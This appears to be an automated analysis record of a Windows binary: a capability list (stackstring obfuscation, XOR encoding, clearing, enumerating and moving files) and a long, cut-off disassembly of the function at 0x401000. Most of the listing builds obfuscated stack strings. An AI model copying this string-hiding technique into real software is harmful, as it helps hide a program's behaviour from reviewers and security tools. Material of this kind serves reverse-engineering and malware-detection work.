Function at 0x401000
Capabilities:
Authenticate hmac
Clear file content
Contain obfuscated stackstrings
Copy file
Encode data using xor
Enumerate files on windows
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Move file
Query environment variable
Set environment variable
Set thread local storage value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14e2c
call fcn.005117c0
mov eax, 0x9fa
mov word [ebp - 0xbca8], ax
mov ecx, 0xf0c
mov word [ebp - 0xe44c], cx
mov dword [ebp - 0xa78c], 0x1f28b799
mov dword [ebp - 0x7bac], 0x358ddb83
mov byte [ebp - 0x11ffd], 0x60
mov byte [ebp - 0x1365], 0x75
mov dword [ebp - 0x6624], 0x6467dba6
mov edx, 0xe00
mov word [ebp - 0x6620], dx
mov eax, 0x6e81
mov word [ebp - 0x2814], ax
mov dword [ebp - 0xa764], 0x5f7964aa
mov dword [ebp - 0xbc68], 0xfe5bac62
mov dword [ebp - 0x14ba4], 0xe56a4aa
mov ecx, 0x1351
mov word [ebp - 0x1346c], cx
mov dword [ebp - 0xcf70], 0x2be58d5f
mov dword [ebp - 0xa758], 0x392ab854
mov edx, 0x4070
mov word [ebp - 0x11fc4], dx
mov dword [ebp - 0xbc44], 0xcd00df6
mov dword [ebp - 0x133c], 0xcc42c1b6
mov byte [ebp - 0x1331], 0x49
mov dword [ebp - 0x11fac], 0xba05ef5a
mov dword [ebp - 0x7b8c], 0x8895ed7a
mov dword [ebp - 0x14b7c], 0x8034b65
mov dword [ebp - 0x14b70], 0x54500fae
mov byte [ebp - 0x7b7d], 0x22
mov dword [ebp - 0x27c8], 0xa669c6f
mov dword [ebp - 0x51b4], 0x401cdd96
mov byte [ebp - 0x10c59], 0x5b
mov eax, 0x1b7c
mov word [ebp - 0x13440], ax
mov byte [ebp - 0xcf31], 0xe
mov dword [ebp - 0xf900], 0x3dbab034
mov byte [ebp - 0x65c1], 0x10
mov ecx, 0xede
mov word [ebp - 0x65b8], cx
mov dword [ebp - 0x9060], 0xda39b2f4
mov dword [ebp - 0xe3b0], 0xdb551a27
mov edx, 0x69c
mov word [ebp - 0x14b48], dx
mov byte [ebp - 0x11f46], 4
mov dword [ebp - 0x3cf8], 0x5194a791
mov byte [ebp - 0xf8c5], 0xc9
mov dword [ebp - 0x2770], 0x31e0d5c1
mov byte [ebp - 0x9036], 0x21
mov byte [ebp - 0x3cc5], 0x6b
mov byte [ebp - 0x10c19], 0x84
mov byte [ebp - 0xa6d1], 0x65
mov dword [ebp - 0x2758], 0x4ff5c963
mov byte [ebp - 0x5156], 0x20
mov dword [ebp - 0xe360], 0xda70715e
mov dword [ebp - 0x133c8], 0x84e09b55
mov byte [ebp - 0x2745], 0x50
mov byte [ebp - 0x5155], 0x44
mov eax, 0x25f
mov word [ebp - 0x9000], ax
mov dword [ebp - 0x3c98], 0x5f50bcc5
mov ecx, 0xab8
mov word [ebp - 0x14ae4], cx
mov dword [ebp - 0xf87c], 0x2f19eabc
mov dword [ebp - 0x11f28], 0x2aee6b2a
mov edx, 0x6d35
mov word [ebp - 0x133c0], dx
mov byte [ebp - 0x12b5], 0xfc
mov dword [ebp - 0x12b4], 0x468b7b3
mov eax, 0x79c
mov word [ebp - 0x14ad0], ax
mov byte [ebp - 0x8fe1], 0x91
mov dword [ebp - 0x133a8], 0x386acaca
mov dword [ebp - 0x11f04], 0x4bcb5010
mov byte [ebp - 0x1279], 0x7d
mov ecx, 0x1bec
mov word [ebp - 0x13378], cx
mov edx, 0x1692
mov word [ebp - 0x10bbc], dx
mov byte [ebp - 0x652d], 0x1d
mov dword [ebp - 0xce34], 0x3c523b70
mov dword [ebp - 0xce20], 0x10ac67b
mov dword [ebp - 0xa668], 0xddf72544
mov eax, 0x525b
mov word [ebp - 0x50f0], ax
mov dword [ebp - 0x3c14], 0x287a0ffe
mov dword [ebp - 0x26a4], 0xae88097
mov ecx, 0xf00
mov word [ebp - 0x11eb4], cx
mov dword [ebp - 0x269c], 0x4f61d556
mov dword [ebp - 0x3c08], 0x624bd9fc
mov dword [ebp - 0x64e8], 0x4994ebd2
mov byte [ebp - 0xcddd], 0x48
mov dword [ebp - 0xe2bc], 0xa5d81142
mov dword [ebp - 0x64ac], 0x2308295f
mov byte [ebp - 0x11e5], 0xa1
mov edx, 0xbee
mov word [ebp - 0x1332c], dx
mov dword [ebp - 0x8f1c], 0x54f75bf2
mov dword [ebp - 0x6494], 0x68dadab8
mov byte [ebp - 0x265d], 0x1d
mov dword [ebp - 0x132fc], 0x397cd1df
mov eax, 0x6d9
mov word [ebp - 0x8ee8], ax
mov dword [ebp - 0xbae0], 0x97662b1
mov ecx, 0x71b
mov word [ebp - 0xa5d8], cx
mov dword [ebp - 0xe254], 0x7c0c9a3d
mov byte [ebp - 0x3b89], 0xd5
mov dword [ebp - 0xbacc], 0x76e94883
mov dword [ebp - 0xf76c], 0x1343dd16
mov byte [ebp - 0xa5a9], 0xe
mov byte [ebp - 0xe23d], 0x7c
mov dword [ebp - 0x3b80], 0x6151587
mov dword [ebp - 0x7a4c], 0xe5be26c6
mov dword [ebp - 0x8ebc], 0x7a8f314e
mov dword [ebp - 0x149b0], 0x3894fa53
mov dword [ebp - 0x149ac], 0xaf93553e
mov dword [ebp - 0x10b00], 0xdd98332
mov dword [ebp - 0x5038], 0x3b6ad0b6
mov dword [ebp - 0x132a0], 0x53ceb77b
mov dword [ebp - 0x3b40], 0x25a623d5
mov edx, 0x210f
mov word [ebp - 0x502c], dx
mov dword [ebp - 0x1178], 0x23d4021f
mov dword [ebp - 0xcd50], 0x76007df0
mov dword [ebp - 0x10ad8], 0xe258a036
mov byte [ebp - 0x63d9], 0xb6
mov eax, 0x2dbb
mov word [ebp - 0xcd48], ax
mov byte [ebp - 0x10ac9], 0x5b
mov byte [ebp - 0x3afa], 0xba
mov byte [ebp - 0x4fdd], 0x28
mov ecx, 0x1adf
mov word [ebp - 0x1140], cx
mov edx, 0x782
mov word [ebp - 0x4fd0], dx
mov dword [ebp - 0x4fc4], 0x20dedbbb
mov eax, 0x114
mov word [ebp - 0xba54], ax
mov dword [ebp - 0x8e4c], 0x5321c4a4
mov dword [ebp - 0x1128], 0x7eb2d1ad
mov dword [ebp - 0x14944], 0x161bf16d
mov ecx, 0x612
mov word [ebp - 0xa528], cx
mov dword [ebp - 0x3adc], 0x34f24e9f
mov edx, 0x4f7
mov word [ebp - 0x13234], dx
mov dword [ebp - 0xf6e0], 0xfa46390e
mov byte [ebp - 0x6375], 0x44
mov dword [ebp - 0xccfc], 0x23097070
mov dword [ebp - 0xccec], 0x38652af6
mov byte [ebp - 0x4fa5], 0x5b
mov dword [ebp - 0xba30], 0x666e651f
mov byte [ebp - 0x11d75], 0xf7
mov dword [ebp - 0x10f4], 0x6ea3c13a
mov dword [ebp - 0xf6b8], 0x7e4404e5
mov byte [ebp - 0x3aaa], 0xb2
mov byte [ebp - 0x6329], 0xa4
mov dword [ebp - 0x258c], 0x60e49e58
mov dword [ebp - 0x2584], 0x1225f1ed
mov dword [ebp - 0x11d44], 0x6435be50
mov dword [ebp - 0x131dc], 0x3f8e341
mov dword [ebp - 0x10dc], 0x9a4b9ac
mov byte [ebp - 0xa4ed], 0x40
mov byte [ebp - 0xcc99], 0x94
mov eax, 0x4e40
mov word [ebp - 0x10a24], ax
mov ecx, 0x2778
mov word [ebp - 0xcc84], cx
mov byte [ebp - 0xf661], 0x2c
mov dword [ebp - 0xcc74], 0xaa16cfeb
mov dword [ebp - 0xcc68], 0x74211cab
mov edx, 0xed8
mov word [ebp - 0x13190], dx
mov dword [ebp - 0xcc58], 0x5362d92b
mov dword [ebp - 0xe140], 0x2db5e59e
mov byte [ebp - 0xcc35], 0xfe
mov dword [ebp - 0x7970], 0x7cf2b345
mov dword [ebp - 0x4f20], 0x54e79221
mov dword [ebp - 0xcc24], 0x2242f26c
mov dword [ebp - 0x4f1c], 0x7c5b377f
mov dword [ebp - 0xcc10], 0x39f279eb
mov eax, 0x3a7
mov word [ebp - 0x3a1c], ax
mov dword [ebp - 0xe100], 0x19ca6cae
mov ecx, 0x128
mov word [ebp - 0x109d0], cx
mov dword [ebp - 0x4ee4], 0xacf7a74e
mov dword [ebp - 0x1487c], 0xa7cf7161
mov dword [ebp - 0x14874], 0x1c6cebe3
mov dword [ebp - 0x1054], 0xe1a6b3dc
mov dword [ebp - 0x109b0], 0x3e84a6e6
mov byte [ebp - 0x7911], 0xc4
mov dword [ebp - 0x13108], 0x9b6502c4
mov dword [ebp - 0xe0cc], 0xc3becbb9
mov dword [ebp - 0xf5b8], 0xbf11aa7e
mov byte [ebp - 0x11c71], 0xcf
mov dword [ebp - 0x39dc], 0x6d73e0a5
mov dword [ebp - 0x7900], 0x597d78b8
mov dword [ebp - 0x4ea0], 0xb07871f5
mov byte [ebp - 0xf5a9], pe_nt_image_headers32
mov byte [ebp - 0x14851], 0x18
mov edx, 0x577
mov word [ebp - 0x11c5c], dx
mov dword [ebp - 0xa43c], 0x413f367a
mov dword [ebp - 0x14850], 0x295f0dde
mov byte [ebp - 0xa42d], 0xdc
mov byte [ebp - 0xf591], 0x5a
mov dword [ebp - 0xf590], 0x7fa64688
mov byte [ebp - 0xf579], 0x14
mov dword [ebp - 0x4e84], 0x8be0d052
mov dword [ebp - 0x24b8], 0x5021726a
mov eax, 0xdc1
mov word [ebp - 0x4e80], ax
mov dword [ebp - 0x11c1c], 0x2c0d73ad
mov dword [ebp - 0x3998], 0xe022e79a
mov dword [ebp - 0xb8f0], 0x48264b9b
mov byte [ebp - 0xa3fd], 0x25
mov ecx, 0x7c5
mov word [ebp - 0x24a0], cx
mov edx, 0x2625
mov word [ebp - 0x11c10], dx
mov eax, 0x181
mov word [ebp - 0x14804], ax
mov ecx, 0x935
mov word [ebp - 0xcb88], cx
mov byte [ebp - 0x147f9], 0x60
mov byte [ebp - 0xb8d5], 0xe2
mov dword [ebp - 0xfcc], 0x2db0e66f
mov dword [ebp - 0xfc8], 0x74736cc8
mov byte [ebp - 0xf529], 0xcc
mov dword [ebp - 0x130a4], 0x218812b2
mov dword [ebp - 0x11bd4], 0x59ba7e93
mov dword [ebp - 0xcb5c], 0x2b99e91d
mov byte [ebp - 0x13081], 0xa
mov dword [ebp - 0xb88c], 0x62f1c7c5
mov dword [ebp - 0xf514], 0x3c725912
mov edx, 0xb5f
mov word [ebp - 0xe034], dx
mov eax, 0x3a24
mov word [ebp - 0xb880], ax
mov dword [ebp - 0xe028], 0x3c06668
mov dword [ebp - 0x108e0], 0x1832b5de
mov dword [ebp - 0x8c70], 0x57e3ffad
mov dword [ebp - 0xa3b8], 0xd5929b4a
mov byte [ebp - 0xe011], 0xa9
mov dword [ebp - 0xcb2c], 0xa865108e
mov dword [ebp - 0xb84c], 0xf66da4c8
mov dword [ebp - 0xcb24], 0x1d0f666f
mov byte [ebp - 0xb83d], 0x57
mov dword [ebp - 0x14758], 0x4ee82ffe
mov dword [ebp - 0xe004], 0x6287a7a7
mov dword [ebp - 0x1088c], 0x542b373a
mov dword [ebp - 0x6174], 0x66554ae
mov dword [ebp - 0x4db8], 0x5f6243ca
mov dword [ebp - 0x38d8], 0x3c9f13dd
mov byte [ebp - 0xb819], 0x64
mov ecx, 0x522
mov word [ebp - 0x14738], cx
mov byte [ebp - 0x8c31], 0xba
mov dword [ebp - 0x14724], 0x700e5a17
mov dword [ebp - 0x77b4], 0x1636cab3
mov dword [ebp - 0x77b0], 0xb9ee4b6
mov dword [ebp - 0x38b0], 0x38bff351
mov dword [ebp - 0xdfd0], 0x120df454
mov byte [ebp - 0x3899], 0x7d
mov byte [ebp - 0xa321], 0xa
mov dword [ebp - 0x8c18], 0x1ac41be5
mov edx, 0xa7f
mov word [ebp - 0x8c14], dx
mov dword [ebp - 0xef4], 0x985dc21
mov dword [ebp - 0xdfac], 0x533f6d0a
mov eax, 0x1cb
mov word [ebp - 0xdfa8], ax
mov byte [ebp - 0xdfa1], 0xd3
mov dword [ebp - 0x611c], 0x7914c646
mov dword [ebp - 0x8bf8], 0x2d814620
mov ecx, 0xfa0
mov word [ebp - 0x4d54], cx
mov edx, 0x66a
mov word [ebp - 0xa2e4], dx
mov dword [ebp - 0x6104], 0x38da376a
mov dword [ebp - 0xa2c4], 0xfb5db939
mov dword [ebp - 0xdf78], 0x92d91345
mov byte [ebp - 0x146c9], 0x91
mov dword [ebp - 0xdf74], 0xff26f4a8
mov eax, 0xc6d
mov word [ebp - 0xa2c0], ax
mov byte [ebp - 0x8bbd], 0x11
mov byte [ebp - 0x146bd], 0xab
mov dword [ebp - 0x107f8], 0xa04d4b25
mov ecx, 0x568
mov word [ebp - 0x60e0], cx
mov edx, 0xd98
mov word [ebp - 0x107ec], dx
mov dword [ebp - 0x4d18], 0xada97032
mov dword [ebp - 0x146bc], 0x41ffef31
mov eax, 0xe24
mov word [ebp - 0xf3fc], ax
mov dword [ebp - 0x60b0], 0x298a1a4a
mov ecx, 0x895
mov word [ebp - 0xb780], cx
mov dword [ebp - 0x6098], 0x638142f2
mov edx, 0x9dd
mov word [ebp - 0xb778], dx
mov dword [ebp - 0x14690], 0x493262bf
mov dword [ebp - 0x14684], 0x4a157b10
mov dword [ebp - 0x11ae0], 0x1af72095
mov byte [ebp - 0x2361], 0x75
mov dword [ebp - 0x11ad8], 0x1775531
mov eax, 0x88f
mov word [ebp - 0xf3b8], ax
mov dword [ebp - 0x14674], 0xbe8cd11a
mov ecx, 0xaa8
mov word [ebp - 0x6078], cx
push 0
push 0
push 0
lea ecx, [ebp - 0xa260]
call fcn.00511780
mov edx, 0x5fc2
mov word [ebp - 0xdf14], dx
mov dword [ebp - 0x12f48], 0x33a659ce
mov dword [ebp - 0x76dc], 0x15dfe86a
mov dword [ebp - 0x4ccc], 0x1fe93c41
mov eax, 0x1f2
mov word [ebp - 0x10794], ax
mov dword [ebp - 0xa24c], 0x219d5de4
mov byte [ebp - 0x11ab9], 0xf9
mov ecx, 0x69e
mov word [ebp - 0xdef0], cx
mov dword [ebp - 0x37a4], 0x26a8c1aa
mov dword [ebp - 0x8b34], 0x79ef2d6c
mov byte [ebp - 0xf399], 0x7a
mov byte [ebp - 0xdee6], 0x68
mov edx, 0x30a
mov word [ebp - 0x11aa0], dx
mov dword [ebp - 0x8b28], 0x870d66cd
mov eax, 0x7b0d
mov word [ebp - 0xf390], ax
mov byte [ebp - 0x11a95], 0x9f
mov dword [ebp - 0x6014], 0x78aef666
mov dword [ebp - 0x14624], 0x7b701ef9
mov dword [ebp - 0x4c90], 0x45af3860
mov ecx, 0x65c
mov word [ebp - 0xca10], cx
mov edx, 0x7b1d
mov word [ebp - 0x12f14], dx
mov dword [ebp - 0x10760], 0x24728cd0
mov dword [ebp - 0x11a74], 0x340988fd
mov dword [ebp - 0xdec0], 0x5ecaa0dd
mov byte [ebp - 0x7679], 0x28
mov byte [ebp - 0x8afd], 1
mov eax, 0x1f69
mov word [ebp - 0xc9f0], ax
mov dword [ebp - 0xdeb0], 0x587bf5ec
mov dword [ebp - 0x765c], 0x47a7de31
mov dword [ebp - 0xc9e4], 0xb2b6b6df
mov dword [ebp - 0x8ae8], 0x1744312d
mov dword [ebp - 0x12ee0], 0x5056b72e
mov dword [ebp - 0x22b4], 0x11f83fd2
mov dword [ebp - 0xdf8], 0x13d9f049
mov byte [ebp - 0x7601], 0xfc
mov dword [ebp - 0xa18c], 0x4a6120b5
mov dword [ebp - 0xa17c], 0x47cb663c
mov dword [ebp - 0xc9ac], 0x141372a9
mov dword [ebp - 0x22a0], 0x45134b99
mov dword [ebp - 0xf30c], 0x8ebd9a44
mov byte [ebp - 0x5f89], 0x92
mov dword [ebp - 0x14590], 0x29a4b71b
mov dword [ebp - 0xdd4], 0x5b059794
mov ecx, 0x6748
mov word [ebp - 0x4c28], cx
mov edx, 0x4b9
mov word [ebp - 0xdcc], dx
mov dword [ebp - 0x75c8], 0x5f71a959
mov dword [ebp - 0x14580], 0x637354be
mov dword [ebp - 0xa14c], 0x6f18363e
mov byte [ebp - 0x4bf5], 0xcb
mov byte [ebp - 0xc975], 0x6b
mov dword [ebp - 0xf2ac], 0xdf62a401
mov dword [ebp - 0x75bc], 0x5d163339
mov dword [ebp - 0xdac], 0x2456386d
mov byte [ebp - 0xb679], 0x87
mov dword [ebp - 0x14550], 0x60577983
mov dword [ebp - 0x106a8], 0x2e0d372d
mov byte [ebp - 0x1069d], 0xe3
mov dword [ebp - 0x119d4], 0x6f9272c4
mov eax, 0x5a4
mov word [ebp - 0x3684], ax
mov ecx, 0x1832
mov word [ebp - 0x14534], cx
mov dword [ebp - 0xd90], 0x2c664dc6
mov edx, 0x1269
mov word [ebp - 0xc938], dx
mov byte [ebp - 0x8a21], 0xb5
mov dword [ebp - 0x7590], 0xb8a9e7f4
mov dword [ebp - 0x4b94], 0xef116c1
mov eax, 0xe83
mov word [ebp - 0xd80], ax
mov dword [ebp - 0x8a04], 0x46aa86d5
mov ecx, 0x13d
mov word [ebp - 0x3628], cx
mov byte [ebp - 0xb625], 0x58
mov dword [ebp - 0x2200], 0xc1f6f891
mov byte [ebp - 0x21f9], 0xb7
mov dword [ebp - 0x756c], 0x258b17cf
mov byte [ebp - 0x12e01], 0x1b
mov dword [ebp - 0x1197c], 0xe19bf609
mov dword [ebp - 0x12de0], 0x5d8d9b3b
mov dword [ebp - 0x89dc], 0x4434c01f
mov byte [ebp - 0xc8e9], 4
mov byte [ebp - 0xb605], 0x10
mov dword [ebp - 0x35d0], 0x4b1304e0
mov dword [ebp - 0xa0a8], 0x3c654570
mov dword [ebp - 0x89b8], 0x79345a1b
mov edx, 0xd09
mov word [ebp - 0x89b4], dx
mov dword [ebp - 0x4b10], 0x69bc2015
mov dword [ebp - 0x89ac], 0xef94078
mov eax, 0x8d4
mov word [ebp - 0xb5ec], ax
mov dword [ebp - 0xa07c], 0x244dc90
mov byte [ebp - 0xa06d], 0xa9
mov byte [ebp - 0x5e9d], 0x6a
mov dword [ebp - 0xc8a4], 0x360f8bf9
mov dword [ebp - 0x74fc], 0x2b9cb54
mov ecx, 0x47e
mov word [ebp - 0x2190], cx
mov byte [ebp - 0x12d89], 0x5f
mov byte [ebp - 0x105dd], 0x36
mov byte [ebp - 0x8949], 0x33
mov edx, 0x55f6
mov word [ebp - 0x4ab0], dx
mov byte [ebp - 0x11911], 0x9f
mov eax, 0x487
mov word [ebp - 0x8948], ax
mov dword [ebp - 0x74cc], 0x306750a
mov ecx, 0x7fd
mov word [ebp - 0x14448], cx
mov dword [ebp - 0xdd20], 0xc46f8113
mov edx, 0x407
mov word [ebp - 0xdd0c], dx
mov dword [ebp - 0x5e4c], 0x5c39351a
mov eax, 0xea5
mov word [ebp - 0xf174], ax
mov ecx, 0xea
mov word [ebp - 0xb55c], cx
mov dword [ebp - 0xc858], 0x425af607
mov dword [ebp - 0x353c], 0x47804189
mov edx, 0x5d7
mov word [ebp - 0x118e4], dx
mov dword [ebp - 0xc84c], 0x7e8a554e
mov eax, 0x85d
mov word [ebp - 0x213c], ax
mov byte [ebp - 0x118d1], 0x43
mov byte [ebp - 0xdcdd], 0x30
mov dword [ebp - 0x3514], 0xb2ea9b69
mov dword [ebp - 0x9fc0], 0x191f224e
mov dword [ebp - 0x14414], 0x5041d5
mov dword [ebp - 0x5e14], 0x93cb78
mov byte [ebp - 0xdccd], 0x6a
mov byte [ebp - 0x10581], 0x30
mov ecx, 0x188a
mov word [ebp - 0x211c], cx
mov byte [ebp - 0x5e0d], 0x17
mov byte [ebp - 0x118ad], 0x6a
mov edx, 0xa81
mov word [ebp - 0x14404], dx
mov dword [ebp - 0xf128], 0x563e250c
mov dword [ebp - 0xf11c], 0x533ac3fe
mov dword [ebp - 0x88c0], 0x25259285
mov byte [ebp - 0x12cd9], 0x55
mov dword [ebp - 0xc814], 0x752699f6
mov dword [ebp - 0x5de0], 0x51885003
mov dword [ebp - 0x88b8], 0x5f531ba2
mov dword [ebp - 0x4a10], 0xda4bc14c
mov dword [ebp - 0xc7ec], 0x5ad2a232
mov eax, 0x73e
mov word [ebp - 0x88a4], ax
mov dword [ebp - 0xf0f0], 0x3ac46555
mov ecx, 0x642
mov word [ebp - 0x889c], cx
mov dword [ebp - 0x4a00], 0x20317988
mov byte [ebp - 0x9d75], 0x26
mov dword [ebp - 0x11868], 0x698a23ef
mov dword [ebp - 0xbf4], 0x29ff701d
mov dword [ebp - 0x9d74], 0x4b971df9
mov dword [ebp - 0x7438], 0x35e7a2c3
mov dword [ebp - 0x10548], 0xc2e4c5cf
mov dword [ebp - 0x8884], 0x67cac268
mov edx, 0x42e0
mov word [ebp - 0x34b0], dx
mov eax, 0x347
mov word [ebp - 0xf0dc], ax
mov byte [ebp - 0x49f1], 0x60
mov byte [ebp - 0xbe5], 0xaf
mov dword [ebp - 0xbdc], 0xae4bfd
mov byte [ebp - 0x49d5], 0xd5
mov ecx, 0x8a8
mov word [ebp - 0x9d48], cx
mov dword [ebp - 0xdc20], 0x6e80cfd6
mov dword [ebp - 0x143a8], 0x4194f7b7
mov dword [ebp - 0xb4b0], 0x72eb461f
mov dword [ebp - 0x14394], 0x536d933d
mov dword [ebp - 0x10508], 0x5b70ddd
mov edx, 0x71b
mov word [ebp - 0x12c40], dx
mov dword [ebp - 0xf074], 0xa6475d36
mov byte [ebp - 0x73da], 0x8f
mov dword [ebp - 0xb64], 0xdc92c3de
mov eax, 0x2ac1
mov word [ebp - 0xb484], ax
mov dword [ebp - 0xc778], 0x63be9ceb
mov dword [ebp - 0x12c08], 0xb837907f
mov ecx, 0xd1e
mov word [ebp - 0xdbc4], cx
mov byte [ebp - 0x104d5], 0x20
mov edx, 0x1c57
mov word [ebp - 0xb54], dx
mov byte [ebp - 0xdbb1], 0x4e
mov dword [ebp - 0xf034], 0xb630a125
mov dword [ebp - 0xdba0], 0x7d213f46
mov dword [ebp - 0x87e0], 0x6647974c
mov dword [ebp - 0x87dc], 0x31ea2cbc
mov dword [ebp - 0x5d50], 0x25db1ba2
mov eax, 0x1134
mov word [ebp - 0xc76c], ax
mov dword [ebp - 0xc764], 0x212b6ae5
mov ecx, 0xe8d
mov word [ebp - 0xb44c], cx
mov byte [ebp - 0x5d39], 0x47
mov edx, 0x5f1
mov word [ebp - 0x3424], dx
mov dword [ebp - 0xc754], 0x67ca59c6
mov eax, 0x150
mov word [ebp - 0x73a0], ax
mov ecx, 0x450
mov word [ebp - 0xc748], cx
mov dword [ebp - 0xb430], 0x6c4a512f
mov byte [ebp - 0x9c9d], 0xb6
mov dword [ebp - 0x10488], 0x2d93906
mov dword [ebp - 0x10484], 0x3ab5283f
mov edx, 0x5f3
mov word [ebp - 0x12b8c], dx
mov eax, 0x69be
mov word [ebp - 0xb414], ax
mov dword [ebp - 0x1ffc], 0x74b3e7d7
mov ecx, 0x433
mov word [ebp - 0x142f8], cx
mov byte [ebp - 0x1ff1], 0xce
mov dword [ebp - 0x1fec], 0xfbd25e20
mov byte [ebp - 0xae5], 0xf7
mov edx, 0x1d2d
mov word [ebp - 0x142e4], dx
mov eax, 0x48e5
mov word [ebp - 0xefe4], ax
mov dword [ebp - 0x878c], 0x7166f35f
mov dword [ebp - 0xb3f4], 0x72dd39be
mov ecx, 0xfea
mov word [ebp - 0x8788], cx
mov dword [ebp - 0x10454], 0x84a9cf5
mov dword [ebp - 0xdb3c], 0x31b2a5b7
mov byte [ebp - 0x12b46], 0xf6
mov edx, 0xc0c
mov word [ebp - 0x11774], dx
mov dword [ebp - 0x8764], 0x67910c7c
mov dword [ebp - 0xac8], 0x356d7cbb
mov eax, 0xa49
mov word [ebp - 0xb3b8], ax
mov byte [ebp - 0x7331], 0xec
mov ecx, 0xaf6
mov word [ebp - 0x489c], cx
mov byte [ebp - 0xb39d], 0x1f
mov dword [ebp - 0x9c1c], 0x4b560fc4
mov byte [ebp - 0x7321], 0x57
mov dword [ebp - 0x7320], 0x3d504c73
mov byte [ebp - 0x1f99], 0xb1
mov dword [ebp - 0x9c08], 0x3cd88a9d
mov dword [ebp - 0xa98], 0xe5ea7dbe
mov dword [ebp - 0x33a0], 0x194ca329
mov dword [ebp - 0x873c], 0x1dc40c8c
mov dword [ebp - 0x4860], 0x401b7e6d
mov byte [ebp - 0x103ed], 0x5a
mov dword [ebp - 0x72f0], 0x13aa2888
mov dword [ebp - 0x4838], 0x472870fc
mov dword [ebp - 0x5c78], 0x77c7c24b
mov dword [ebp - 0x1f70], 0x5d4cb60c
mov dword [ebp - 0xb350], 0x5240165a
mov byte [ebp - 0x12ad5], 0x16
mov dword [ebp - 0xc68c], 0x3744fae5
mov edx, 0x3ec
mov word [ebp - 0xdaac], dx
mov dword [ebp - 0x3348], 0xf4e551db
mov eax, 0x813
mov word [ebp - 0xa4c], ax
mov byte [ebp - 0xda8d], 0xcb
mov byte [ebp - 0x480d], 0x83
mov ecx, 0xb45
mov word [ebp - 0x72b4], cx
mov edx, 0x782
mov word [ebp - 0x72b0], dx
mov dword [ebp - 0xb30c], 0x62e4ad6b
mov eax, 0x2421
mov word [ebp - 0x4808], ax
mov dword [ebp - 0x5c20], 0x6c8e161e
mov ecx, 0xc13
mov word [ebp - 0xb2f0], cx
mov edx, 0xbea
mov word [ebp - 0x72a4], dx
mov dword [ebp - 0x13fc0], 0x5c249eef
mov dword [ebp - 0x13fbc], 0x48300627
mov dword [ebp - 0x13fb8], 0x891731b
mov dword [ebp - 0x47e0], 0xb5818ffa
mov eax, 0x775a
mov word [ebp - 0x3300], ax
mov ecx, 0xfb2
mov word [ebp - 0x5bec], cx
mov dword [ebp - 0x32f0], 0x9e215d7
mov byte [ebp - 0x8631], 5
mov byte [ebp - 0x7249], 0x77
mov dword [ebp - 0xc600], 0x2c4cb22e
mov dword [ebp - 0x10320], 0x351a7c1e
mov dword [ebp - 0x47a0], 0xf05c14ec
mov byte [ebp - 0xc5e9], 0xea
mov dword [ebp - 0x8620], 0x7823a9b8
mov edx, 0x135
mov word [ebp - 0x12a58], dx
mov dword [ebp - 0x10310], 0x28dc6031
mov dword [ebp - 0x9b18], 0x7cfd629d
mov byte [ebp - 0xee8d], 0xb
mov eax, 0x3cd
mov word [ebp - 0xda00], ax
mov dword [ebp - 0x4774], 0x471e4357
mov dword [ebp - 0x85e4], 0x1acef97b
mov byte [ebp - 0x9afd], 0x19
mov ecx, 0xd82
mov word [ebp - 0x85dc], cx
mov dword [ebp - 0xee6c], 0x992d364d
mov dword [ebp - 0x13f24], 0x3202193e
mov dword [ebp - 0xc598], 0x5bd33fb
mov byte [ebp - 0x989], 0x49
mov edx, 0xab3
mov word [ebp - 0x102e0], dx
mov dword [ebp - 0x12a30], 0x2294b0bd
mov eax, 0x45e
mov word [ebp - 0x12a24], ax
mov dword [ebp - 0x5b74], 0x87c6ec76
mov dword [ebp - 0x12a1c], 0x2b2ce0a
mov dword [ebp - 0xee44], 0x5212d6de
mov dword [ebp - 0x9adc], 0x493089a4
mov byte [ebp - 0x102bd], 0x3b
mov ecx, 0x9aa
mov word [ebp - 0x11644], cx
mov byte [ebp - 0x1e49], 0xde
mov edx, 0x57f1
mov word [ebp - 0x85c0], dx
mov byte [ebp - 0xd9b5], 0x3a
mov dword [ebp - 0x4734], 0x606b504c
mov dword [ebp - 0x95c], 0x6eeba4f6
mov eax, 0x125
mov word [ebp - 0xd9a4], ax
mov dword [ebp - 0xb1e0], 0x242d13ba
mov byte [ebp - 0x3235], 0x54
mov ecx, 0xf4
mov word [ebp - 0x958], cx
mov byte [ebp - 0x85a1], 0x40
mov dword [ebp - 0x3224], 0xb0f06dce
mov dword [ebp - 0x71c8], 0x4f684e4b
mov edx, 0x2ca
mov word [ebp - 0x858c], dx
mov dword [ebp - 0x1028c], 0x259b26a3
mov eax, 0x50ab
mov word [ebp - 0x13ec8], ax
mov dword [ebp - 0x93c], 0x70241daa
mov dword [ebp - 0x11614], 0xe3f73d12
mov dword [ebp - 0x9a7c], 0xba1dd894
mov byte [ebp - 0xd965], 0x90
mov byte [ebp - 0x9a6d], 0xac
mov byte [ebp - 0x8575], 0x6f
mov dword [ebp - 0x7188], 0xcc1f6221
mov ecx, 0xbcc
mov word [ebp - 0xeda4], cx
mov dword [ebp - 0xb164], 0x3190df0e
mov dword [ebp - 0xd938], 0xdae585d7
mov dword [ebp - 0xd930], 0x29cf7bfe
mov dword [ebp - 0xeda0], 0x6f2f2f30
mov dword [ebp - 0x1df0], 0x318031b8
mov dword [ebp - 0x10250], 0x65ddae57
mov edx, 0xe78
mov word [ebp - 0xd928], dx
mov dword [ebp - 0x46c8], 0x7b97d290
mov eax, 0x13a
mov word [ebp - 0x12964], ax
mov ecx, 0x5ba8
mov word [ebp - 0x8554], cx
push 0
push 0
push 0
lea ecx, [ebp - 0x1023c]
call fcn.00511780
mov dword [ebp - 0x715c], 0x609ef30c
mov dword [ebp - 0x3170], 0x5e4b7193
mov dword [ebp - 0x115b8], 0xc1bb00b4
mov dword [ebp - 0x1ddc], 0xef41fbf2
mov dword [ebp - 0xd904], 0x1dc9ee64
mov dword [ebp - 0xb114], 0x619299ae
mov dword [ebp - 0xc4cc], 0x2ee304c3
mov edx, 0x761
mov word [ebp - 0x1dbc], dx
mov dword [ebp - 0x13e40], 0xf4f21e1b
mov dword [ebp - 0x115a0], 0x4b9d1fc3
mov eax, 0xf1
mov word [ebp - 0x9a1c], ax
mov ecx, 0x127c
mov word [ebp - 0x8528], cx
mov dword [ebp - 0x4664], 0x37bee27a
mov byte [ebp - 0x6ea5], 0x3c
mov byte [ebp - 0x13e05], 0xea
mov byte [ebp - 0x861], 0xa
mov dword [ebp - 0xecf0], 0x84c15a2
mov edx, 0xb97
mov word [ebp - 0xd8a4], dx
mov dword [ebp - 0x13df8], 0x3e6c7825
